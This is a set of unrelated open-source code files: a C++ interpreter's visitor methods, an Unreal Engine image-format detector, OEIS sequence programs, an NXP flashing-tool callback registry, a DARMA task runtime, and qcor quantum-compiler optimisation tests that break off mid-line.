stack_.pop(); node->rhs->accept(shared_from_this()); auto b = stack_.top(); stack_.pop(); BinaryOp op(node->type, a->GetType(), b->GetType()); obj_t o = std::make_shared<Object>(op.Call()); if (!o->GetType()) { std::stringstream ss; ss << "Not able to execute: "; ss << a->GetType()->Stringify() << " "; ss << "<" << magic_enum::enum_name(node->type) << "> "; ss << b->GetType()->Stringify(); error_handler_->RuntimeError(ss.str(), node); } stack_.push(o); } void Interpreter::visit(const std::shared_ptr<FunctionCall>& node) { // std::cout << "Calling Function " << node->identifier << std::endl; node->callee->accept(shared_from_this()); auto callee = stack_.top(); stack_.pop(); if (!callee->GetType()->IsCallable()) { std::stringstream ss; ss << "<" << callee->GetType()->Stringify() << ">: "; ss << "is not callable. Only functions and classes can be called!"; error_handler_->RuntimeError(ss.str(), node); } auto fun = callee->GetType()->AsCallable(); std::vector<obj_t> args; for (const auto& item : node->args) { item->accept(shared_from_this()); args.push_back(stack_.top()); stack_.pop(); } auto ret_obj = fun->Call(this, args); if (ret_obj.has_value() && !ret_obj.value()->GetType()->IsNull()) { stack_.push(ret_obj.value()); } } void Interpreter::visit(const std::shared_ptr<FormalParameter>& node) { // } void Interpreter::visit(const std::shared_ptr<FunctionDeclaration>& node) { // std::cout << "Declaring Function " << node->identifier << std::endl; auto fun_decl = std::make_shared<Function>(node, environment_); auto type = std::make_shared<Type>(fun_decl); obj_t o = std::make_shared<Object>(type); environment_->Declare(node->identifier, o); } void Interpreter::ExecuteBlock( const statements_t& statements, const std::shared_ptr<environment::Environment>& environment) { Executor executor {*this}; executor.execute(statements, environment); } void Interpreter::invoke(const statements_t& statements, const std::shared_ptr<environment::Environment>& env) { Executor executor {*this}; executor.execute(statements, env); } void Interpreter::interpret(const string_t& code) { lex::Lexer lexer; parser::Parser parser(error_handler_); auto semantic_analyzer = std::make_shared<analysis::SemanticAnalyzer>(error_handler_, *this); auto lexemes = lexer.lex(code); auto program = parser.parseProgram(lexemes); if (error_handler_->HasError()) { error_handler_->HandleCrucialError("Error during parsing..."); return; } semantic_analyzer->Resolve(program->statements); if (error_handler_->HasError()) { error_handler_->HandleCrucialError("Error during analysis..."); return; } try { interpret(program->statements); } catch (const RuntimeError& e) { throw; } catch (const std::exception& e) { std::cout << e.what() << std::endl; error_handler_->RuntimeError(e.what()); } } void Interpreter::visit(const std::shared_ptr<Print>& node) { std::vector<obj_t> args; for (const auto& item : node->expressions) { item->accept(shared_from_this()); args.push_back(stack_.top()); stack_.pop(); } for (const auto& arg : args) { std::cout << arg->GetType()->Stringify() << std::endl; } } void Interpreter::visit(const std::shared_ptr<ExpressionStatement>& node) { node->expression->accept(shared_from_this()); } void Interpreter::visit(const std::shared_ptr<IfStatement>& node) { node->condition->accept(shared_from_this()); auto condition = stack_.top(); stack_.pop(); if (condition->GetType()->IsTruthy()) { node->if_branch->accept(shared_from_this()); } else { if (node->else_branch) { node->else_branch->accept(shared_from_this()); } } } void Interpreter::visit(const std::shared_ptr<WhileStatement>& node) { node->condition->accept(shared_from_this()); auto condition = stack_.top(); stack_.pop(); while (condition->GetType()->IsTruthy()) { node->block->accept(shared_from_this()); node->condition->accept(shared_from_this()); condition = stack_.top(); stack_.pop(); } } void Interpreter::visit(const std::shared_ptr<ClassDeclaration>& node) { std::optional<obj_t> superclass {std::nullopt}; if (node->superclass.has_value()) { node->superclass.value()->accept(shared_from_this()); superclass = stack_.top(); stack_.pop(); const auto is_class {superclass.value()->GetType()->IsCallable() && std::dynamic_pointer_cast<Class>( superclass.value()->GetType()->AsCallable()) != nullptr}; if (!is_class) { error_handler_->RuntimeError( "Class <" + node->identifier + "> Superclass must be a class. Not " + superclass.value()->GetType()->Stringify() + "!", node); } } if (superclass) { environment_ = std::make_shared<Environment>(environment_); environment_->Declare("super", superclass.value()); } std::unordered_map<string_t, obj_t> methods; for (const auto& method : node->methods) { auto method_decl = std::make_shared<Function>(method, environment_); auto type = std::make_shared<Type>(method_decl); obj_t m = std::make_shared<Object>(type); methods.insert_or_assign(method->identifier, m); } auto class_decl = std::make_shared<Class>(node, methods, superclass, environment_); if (superclass) { environment_ = environment_->Parent(); } auto type = std::make_shared<Type>(class_decl); obj_t o = std::make_shared<Object>(type); environment_->Declare(node->identifier, o); } void Interpreter::visit(const std::shared_ptr<Get>& node) { node->expression->accept(shared_from_this()); auto obj = stack_.top(); stack_.pop(); if (obj->GetType()->IsInstance()) { auto getter_obj = obj->GetType()->AsInstance()->Get(node->identifier); stack_.push(getter_obj); return; } error_handler_->RuntimeError( "Only instances have properties! <" + node->identifier + ">", node); } void Interpreter::visit(const std::shared_ptr<Set>& node) { node->expression->accept(shared_from_this()); auto obj = stack_.top(); stack_.pop(); if (!obj->GetType()->IsInstance()) { error_handler_->RuntimeError("Only instances have fields", node); } node->value->accept(shared_from_this()); auto value = stack_.top(); stack_.pop(); obj->GetType()->AsInstance()->Set(node->identifier, value); } void Interpreter::visit(const std::shared_ptr<Self>& node) { auto self = LookupVariable("self", node); stack_.push(self); } void Interpreter::visit(const std::shared_ptr<Super>& node) { auto distance = locals_.find(node); auto obj = LookupVariable("super", node); auto super = std::dynamic_pointer_cast<Class>(obj->GetType()->AsCallable()); auto instance = environment_->Get("self", distance->second - 1); auto method = super->FindMethod(node->identifier); if (!method || !method.value()->GetType()->IsCallable()) { error_handler_->RuntimeError("super(" + super->Stringify() + ") of " + instance->GetType()->Stringify() + "does not have method <" + node->identifier + ">", node); } auto function = std::dynamic_pointer_cast<Function>( method.value()->GetType()->AsCallable()); stack_.push(function->Bind(instance)); } environment::obj_t Interpreter::LookupVariable(const string_t& name, const expression_t& expr) { if (auto distance_iter = locals_.find(expr); distance_iter != locals_.end()) { return environment_->Get(name, distance_iter->second); } return globals_->Get(name); } void Interpreter::ResolveLocal(const node_t& node, long long int distance) { // std::cout << "ResolveLocal " << node << " " << distance << std::endl; locals_[node] = distance; } void Interpreter::interpret(const statements_t& statements) { for (const auto& statement : statements) { interpret(statement); } } void Interpreter::interpret(const expressions_t& expressions) { for (const auto& expression : expressions) { interpret(expressions); } } std::stack<environment::obj_t>& Interpreter::Stack() { return stack_; } } // namespace angreal::interpreter
// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved. #include "ImageWrapperPrivate.h" #include "CoreTypes.h" #include "Modules/ModuleManager.h" #include "Formats/BmpImageWrapper.h" #include "Formats/ExrImageWrapper.h" #include "Formats/IcnsImageWrapper.h" #include "Formats/IcoImageWrapper.h" #include "Formats/JpegImageWrapper.h" #include "Formats/PngImageWrapper.h" #include "IImageWrapperModule.h" DEFINE_LOG_CATEGORY(LogImageWrapper); namespace { static const uint8 IMAGE_MAGIC_PNG[] = {0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A}; static const uint8 IMAGE_MAGIC_JPEG[] = {0xFF, 0xD8, 0xFF}; static const uint8 IMAGE_MAGIC_BMP[] = {0x42, 0x4D}; static const uint8 IMAGE_MAGIC_ICO[] = {0x00, 0x00, 0x01, 0x00}; static const uint8 IMAGE_MAGIC_EXR[] = {0x76, 0x2F, 0x31, 0x01}; static const uint8 IMAGE_MAGIC_ICNS[] = {0x69, 0x63, 0x6E, 0x73}; /** Internal helper function to verify image signature. */ template <int32 MagicCount> bool StartsWith(const uint8* Content, int32 ContentSize, const uint8 (&Magic)[MagicCount]) { if (ContentSize < MagicCount) { return false; } for (int32 I = 0; I < MagicCount; ++I) { if (Content[I] != Magic[I]) { return false; } } return true; } } /** * Image Wrapper module. */ class FImageWrapperModule : public IImageWrapperModule { public: //~ IImageWrapperModule interface virtual TSharedPtr<IImageWrapper> CreateImageWrapper(const EImageFormat InFormat) override { FImageWrapperBase* ImageWrapper = NULL; // Allocate a helper for the format type switch(InFormat) { #if WITH_UNREALPNG case EImageFormat::PNG: ImageWrapper = new FPngImageWrapper(); break; #endif // WITH_UNREALPNG #if WITH_UNREALJPEG case EImageFormat::JPEG: ImageWrapper = new FJpegImageWrapper(); break; case EImageFormat::GrayscaleJPEG: ImageWrapper = new FJpegImageWrapper(1); break; #endif //WITH_UNREALJPEG case EImageFormat::BMP: ImageWrapper = new FBmpImageWrapper(); break; case EImageFormat::ICO: ImageWrapper = new FIcoImageWrapper(); break; #if WITH_UNREALEXR case EImageFormat::EXR: ImageWrapper = new FExrImageWrapper(); break; #endif case EImageFormat::ICNS: ImageWrapper = new FIcnsImageWrapper(); break; default: break; } return MakeShareable(ImageWrapper); } virtual EImageFormat DetectImageFormat(const void* CompressedData, int32 CompressedSize) override { EImageFormat Format = EImageFormat::Invalid; if (StartsWith((uint8*) CompressedData, CompressedSize, IMAGE_MAGIC_PNG)) { Format = EImageFormat::PNG; } else if (StartsWith((uint8*) CompressedData, CompressedSize, IMAGE_MAGIC_JPEG)) { Format = EImageFormat::JPEG; // @Todo: Should we detect grayscale vs non-grayscale? } else if (StartsWith((uint8*) CompressedData, CompressedSize, IMAGE_MAGIC_BMP)) { Format = EImageFormat::BMP; } else if (StartsWith((uint8*) CompressedData, CompressedSize, IMAGE_MAGIC_ICO)) { Format = EImageFormat::ICO; } else if (StartsWith((uint8*) CompressedData, CompressedSize, IMAGE_MAGIC_EXR)) { Format = EImageFormat::EXR; } else if (StartsWith((uint8*) CompressedData, CompressedSize, IMAGE_MAGIC_ICNS)) { Format = EImageFormat::ICNS; } return Format; } public: //~ IModuleInterface interface virtual void StartupModule() override { } virtual void ShutdownModule() override { } }; IMPLEMENT_MODULE(FImageWrapperModule, ImageWrapper);
; A040788: Continued fraction for sqrt(817). ; Submitted by Jon Maiga ; 28,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1,2,1,1,56,1,1 seq $0,40258 ; Continued fraction for sqrt(275). add $0,4 mul $0,9 div $0,5 sub $0,8
/* * Copyright 2018 NXP. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * * Neither the name of the NXP Semiconductor nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * */ #include <string> #include <vector> using namespace std; #include "libuuu.h" #include "liberror.h" #include <thread> #include <mutex> #include <iostream> struct notify_map { uuu_notify_fun f; void *data; }; static vector<struct notify_map> g_notify_callback_list; static mutex g_mutex_nofity; int uuu_register_notify_callback(uuu_notify_fun f, void *data) { notify_map a; a.f = f; a.data = data; std::lock_guard<mutex> lock(g_mutex_nofity); for (size_t i = 0; i < g_notify_callback_list.size(); i++) { if (g_notify_callback_list[i].f == f) return 0; } g_notify_callback_list.push_back(a); return 0; } int uuu_unregister_notify_callback(uuu_notify_fun f) { vector<struct notify_map>::iterator it=g_notify_callback_list.begin(); std::lock_guard<mutex> lock(g_mutex_nofity); for (;it!=g_notify_callback_list.end();it++) { if (it->f == f) { g_notify_callback_list.erase(it); return 0; } } return 0; } void call_notify(struct uuu_notify nf) { //Change RW lock later; std::lock_guard<mutex> lock(g_mutex_nofity); vector<struct notify_map>::iterator it = g_notify_callback_list.begin(); nf.id = std::hash<std::thread::id>{}(std::this_thread::get_id()); for (; it != g_notify_callback_list.end(); it++) { try { it->f(nf, it->data); } catch (const std::exception& e) { std::cerr << "notify exception: " << e.what() << std::endl; } } }
; A247160: Dynamic Betting Game D(n,4,3). ; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,96,97,98,99,100,101,102,103,104,105,106 add $0,1 mov $1,32 mul $1,$0 div $1,30 mov $0,$1
/* //@HEADER // ************************************************************************ // // runtime.cpp // DARMA // Copyright (C) 2017 Sandia Corporation // // Under the terms of Contract DE-NA-0003525 with NTESS, LLC, // the U.S. Government retains certain rights in this software. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // 3. Neither the name of the Corporation nor the names of the // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY SANDIA CORPORATION "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SANDIA CORPORATION OR THE // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Questions? Contact darma@sandia.gov // // ************************************************************************ //@HEADER */ #if SIMPLE_BACKEND_USE_OPENMP #include <omp.h> #endif #if SIMPLE_BACKEND_USE_KOKKOS # include <Kokkos_Core.hpp> # if SIMPLE_BACKEND_USE_FCONTEXT # include <boost/context/fcontext.hpp> # define FCONTEXT_STACK_SIZE 8 * 1024 * 1024 # endif #endif #include "runtime.hpp" #include "runtime_instance.hpp" #include "flow/flow.hpp" #include "worker/worker.hpp" #include "util.hpp" #include "task_collection_token.hpp" #include "debug.hpp" #include <darma/interface/frontend/top_level.h> #include <darma.h> #include <ready_operation.hpp> #include <pending_operation.hpp> using namespace simple_backend; std::unique_ptr<Runtime> Runtime::instance = nullptr; SimpleBackendOptions Runtime::default_options_ = { }; thread_local darma_runtime::abstract::frontend::Task* Runtime::running_task = nullptr; thread_local int Runtime::this_worker_id = 0; thread_local int Runtime::thread_stack_depth = 0; std::atomic<std::size_t> TaskCollectionToken::next_sequence_identifier = { 0 }; #if SIMPLE_BACKEND_USE_FCONTEXT std::vector<boost::context::fcontext_t> Runtime::darma_contexts = {}; std::vector<boost::context::fcontext_t> Runtime::kokkos_contexts = {}; #endif //============================================================================== void Runtime::initialize_top_level_instance(int argc, char** argv) { SimpleBackendOptions options; auto top_level_task = darma_runtime::frontend::darma_top_level_setup( options.parse_args(argc, argv) ); instance = std::make_unique<Runtime>(std::move(top_level_task), options); } //============================================================================== void Runtime::wait_for_top_level_instance_to_shut_down() { for(int i = 1; i < instance->nthreads_; ++i) { instance->workers[i].join(); } } //============================================================================== Runtime::Runtime() : nthreads_(default_options_.n_threads), shutdown_counter(1), lookahead_(default_options_.lookahead) { //_init_shutdown_counter(); _create_workers(); } void Runtime::_init_shutdown_counter() { shutdown_counter.attach_action([this]{ for(int i = 0; i < nthreads_; ++i) { workers[i].ready_tasks.emplace( std::make_unique<SpecialMessage>(ReadyOperation::AllTasksDone) ); } }); } void Runtime::_create_workers() { // TODO in openmp mode, we may want to do this initialization on the thread that will own the worker (for locality purposes) // Create the workers for(size_t i = 0; i < nthreads_; ++i) { workers.emplace_back(i, nthreads_); } } //============================================================================== // Construct from a task that is ready to run Runtime::Runtime(task_unique_ptr&& top_level_task, SimpleBackendOptions const& options) : nthreads_(options.n_threads), shutdown_counter(1), lookahead_(options.lookahead) #if SIMPLE_BACKEND_USE_KOKKOS , n_kokkos_partitions(options.kokkos_partitions) #endif { _init_shutdown_counter(); _create_workers(); workers[0].ready_tasks.emplace( std::make_unique<ReadyTaskOperation>(std::move(top_level_task)) ); } //============================================================================== Runtime::task_t* Runtime::get_running_task() const { return running_task; } //============================================================================== void Runtime::register_task(task_unique_ptr&& task) { // keep the workers from shutting down until this task is done shutdown_counter.increment_count(); // makes a PendingOperation that deletes itself, so this isn't a memory leak make_pending_task(std::move(task)); } //============================================================================== void Runtime::register_task_collection(task_collection_unique_ptr&& tc) { // keep the workers from shutting down until this task is done shutdown_counter.increment_count(); auto tc_token = std::make_shared<TaskCollectionToken>(tc->size()); tc->set_task_collection_token(tc_token); for(auto&& dep : tc->get_dependencies()) { if(dep->manages_collection()) { // currently only implemented for modify/modify task collections // TODO do this for read only and other stuff. (probably need something like a UseCollectionToken...) // TODO at least make this work by treating this as a modify dependency assert(dep->is_anti_dependency()); dep->get_in_flow()->parent_collection_token = tc_token; } } for(size_t i = 0; i < tc->size(); ++i) { // Enqueueing another task, so increment shutdown ready_trigger shutdown_counter.increment_count(); auto task = tc->create_task_for_index(i); if( not darma_runtime::detail::key_traits<darma_runtime::types::key_t>::key_equal{}( tc->get_name(), darma_runtime::make_key() ) ) { // TODO do this faster task->set_name( darma_runtime::make_key( std::string("backend index ") + std::to_string(i) + std::string(" of "), tc->get_name() ) ); } // makes a PendingOperation that deletes itself, so this isn't a memory leak make_pending_task( std::move(task), int((this_worker_id + i) % nthreads_) ); } tc = nullptr; shutdown_counter.decrement_count(); } //============================================================================== #if SIMPLE_BACKEND_USE_FCONTEXT void darma_scheduler_context(intptr_t arg) { auto& args = *(std::tuple<int, size_t, int>*)arg; auto& worker_id = std::get<0>(args); auto& nthreads = std::get<1>(args); auto& threads_per_partition = std::get<2>(args); Runtime::instance->workers[ worker_id ].run_work_loop(threads_per_partition); } #endif // TODO move this to the worker_*.cpp files for all the rest of the cases #if !SIMPLE_BACKEND_USE_KOKKOS || SIMPLE_BACKEND_USE_FCONTEXT void Runtime::spin_up_worker_threads() { #if SIMPLE_BACKEND_USE_OPENMP #pragma omp parallel num_threads(nthreads_) proc_bind(spread) { workers[omp_get_thread_num()].run_work_loop(nthreads_, 1); } // End omp region #elif SIMPLE_BACKEND_USE_KOKKOS const int threads_per_partition = nthreads_ / n_kokkos_partitions; Runtime::instance->ready_kokkos_tasks.resize(n_kokkos_partitions); #if SIMPLE_BACKEND_USE_FCONTEXT Runtime::kokkos_contexts.resize(nthreads_); Runtime::darma_contexts.resize(nthreads_); #endif Kokkos::OpenMP::partition_master([&](int partition_id, int n_partitions) { #if SIMPLE_BACKEND_USE_FCONTEXT std::vector<void*> partition_stacks(threads_per_partition); #pragma omp parallel num_threads(nthreads_ / n_kokkos_partitions) { partition_stacks[omp_get_thread_num()] = std::malloc(FCONTEXT_STACK_SIZE); auto worker_id = partition_id * threads_per_partition + omp_get_thread_num(); Runtime::darma_contexts[worker_id] = boost::context::make_fcontext( partition_stacks[omp_get_thread_num()], FCONTEXT_STACK_SIZE, darma_scheduler_context ); auto args = std::tuple<int, std::size_t, int>( worker_id, nthreads_, threads_per_partition ); boost::context::jump_fcontext( &Runtime::kokkos_contexts[worker_id], Runtime::darma_contexts[worker_id], (std::intptr_t)(&args) ); } // end partition parallel #endif while(not Runtime::instance->shutdown_counter.get_triggered()) { #if SIMPLE_BACKEND_USE_FCONTEXT // jumped to run a Kokkos task, so run it auto ktask = Runtime::instance->ready_kokkos_tasks[partition_id].get_and_pop_front(); assert(ktask); assert(ktask->task->is_data_parallel_task()); workers[partition_id * threads_per_partition].run_task(std::move(ktask->task)); #pragma omp parallel num_threads(nthreads_ / n_kokkos_partitions) { auto worker_id = partition_id * threads_per_partition + omp_get_thread_num(); boost::context::jump_fcontext(&kokkos_contexts[worker_id], darma_contexts[worker_id], 0); } #else //#pragma omp parallel num_threads(nthreads_ / n_kokkos_partitions) Kokkos::parallel_for(threads_per_partition, [=](int i){ workers[ partition_id * threads_per_partition + i // omp_get_thread_num() ].run_work_loop(nthreads_, threads_per_partition); }); // end partition parallel if (Runtime::instance->shutdown_counter.get_triggered()) { break; } else { assert(Kokkos::Impl::t_openmp_instance); // Exited to run a Kokkos task, so run it auto ktask = Runtime::instance->ready_kokkos_tasks[partition_id].get_and_pop_front(); assert(Kokkos::Impl::t_openmp_instance); assert(ktask); assert(ktask->task->is_data_parallel_task()); workers[partition_id * threads_per_partition].run_task(std::move(ktask->task)); } #endif } #if SIMPLE_BACKEND_USE_FCONTEXT for(auto* part_stack : partition_stacks) { std::free(part_stack); } #endif }, n_kokkos_partitions, nthreads_ / n_kokkos_partitions); #else // needs to be two seperate loops to make sure ready tasks is initialized on // all workers. Also, only spawn threads on 1-n for(size_t i = 1; i < nthreads_; ++i) { workers[i].spawn_work_loop(1); } workers[0].run_work_loop(1); #endif } #endif //============================================================================== namespace darma_runtime { namespace abstract { namespace backend { Context* get_backend_context() { return simple_backend::Runtime::instance.get(); } Runtime* get_backend_runtime() { return simple_backend::Runtime::instance.get(); } MemoryManager* get_backend_memory_manager() { return simple_backend::Runtime::instance.get(); } } // end namespace backend } // end namespace abstract } // end namespace darma_runtime
/******************************************************************************* * Copyright (c) 2018-, UT-Battelle, LLC. * All rights reserved. This program and the accompanying materials * are made available under the terms of the MIT License * which accompanies this distribution. * * Contributors: * Alexander J. McCaskey - initial API and implementation * Thien Nguyen - implementation *******************************************************************************/ #include "qcor_mlir_api.hpp" #include "gtest/gtest.h" namespace { // returns count of non-overlapping occurrences of 'sub' in 'str' int countSubstring(const std::string &str, const std::string &sub) { if (sub.length() == 0) return 0; int count = 0; for (size_t offset = str.find(sub); offset != std::string::npos; offset = str.find(sub, offset + sub.length())) { ++count; } return count; } } // namespace TEST(qasm3PassManagerTester, checkIdentityPairRemoval) { const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[2]; x q[0]; x q[0]; cx q[0], q[1]; cx q[0], q[1]; )#"; auto llvm = qcor::mlir_compile(src, "test", qcor::OutputType::LLVMIR, true); std::cout << "LLVM:\n" << llvm << "\n"; // No instrucions left EXPECT_TRUE(llvm.find("__quantum__qis") == std::string::npos); } TEST(qasm3PassManagerTester, checkResetSimplification) { const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[2]; reset q[0]; x q[1]; reset q[0]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // One reset and one X: EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 2); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__x"), 1); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__reset"), 1); } TEST(qasm3PassManagerTester, checkRotationMerge) { const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[2]; x q[0]; z q[1]; rx(1.2345) q[0]; rz(2.4566) q[1]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the function LLVM only (not __internal_mlir_XXXX, etc.) llvm = llvm.substr(llvm.find("@test_kernel")); // 2 instrucions left: rx and rz EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 2); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rx"), 1); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rz"), 1); } TEST(qasm3PassManagerTester, checkSingleQubitGateMergeOpt) { // Merge to X == rx(pi) const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[2]; h q[0]; z q[0]; h q[0]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the function LLVM only (not __internal_mlir_XXXX, etc.) llvm = llvm.substr(llvm.find("@test_kernel")); // 1 instrucions left: rx EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 1); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rx"), 1); } TEST(qasm3PassManagerTester, checkRemoveUnusedQirCalls) { // Complete cancellation => remove extract and qalloc as well const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[2]; cx q[0], q[1]; h q[0]; z q[0]; h q[0]; x q[0]; cx q[0], q[1]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // No gates, extract, or alloc/dealloc: EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__array_get_element_ptr_1d"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__qubit_allocate_array"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__qubit_release_array"), 0); } TEST(qasm3PassManagerTester, checkInliner) { // Inline a call ==> gate cancellation const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; gate oracle b { x b; } qubit q[2]; x q[0]; oracle q[0]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only (there is the oracle LLVM section as well) llvm = llvm.substr(llvm.find("@test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // No gates, extract, or alloc/dealloc: EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__array_get_element_ptr_1d"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__qubit_allocate_array"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__qubit_release_array"), 0); } TEST(qasm3PassManagerTester, checkPermuteAndCancel) { // Permute rz-cnot ==> gate cancellation const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[2]; rz(0.123) q[0]; cx q[0], q[1]; rz(-0.123) q[0]; cx q[0], q[1]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only (there is the oracle LLVM section as well) llvm = llvm.substr(llvm.find("@test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // Cancel all => No gates, extract, or alloc/dealloc: EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__array_get_element_ptr_1d"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__qubit_allocate_array"), 0); EXPECT_EQ(countSubstring(llvm, "__quantum__rt__qubit_release_array"), 0); } TEST(qasm3PassManagerTester, checkLoopUnroll) { // Unroll the loop: // cancel all X gates; combine rx const std::string src = R"#(OPENQASM 3; include "stdgates.inc"; qubit q[2]; for i in [0:10] { x q[0]; rx(0.123) q[1]; } )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // Only a single Rx remains (combine all angles) EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 1); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rx"), 1); } TEST(qasm3PassManagerTester, checkLoopUnrollTrotter) { // Unroll the loop: // Trotter decompose const std::string src = R"#(OPENQASM 3; include "stdgates.inc"; qubit qq[2]; for i in [0:100] { h qq; cx qq[0], qq[1]; rx(0.0123) qq[1]; cx qq[0], qq[1]; h qq; } )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // Only a single Rx remains (combine all angles) // 2 Hadamard before + 1 CX before // 2 Hadamard after + 1 CX after EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 7); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rx"), 1); EXPECT_EQ(countSubstring(llvm, 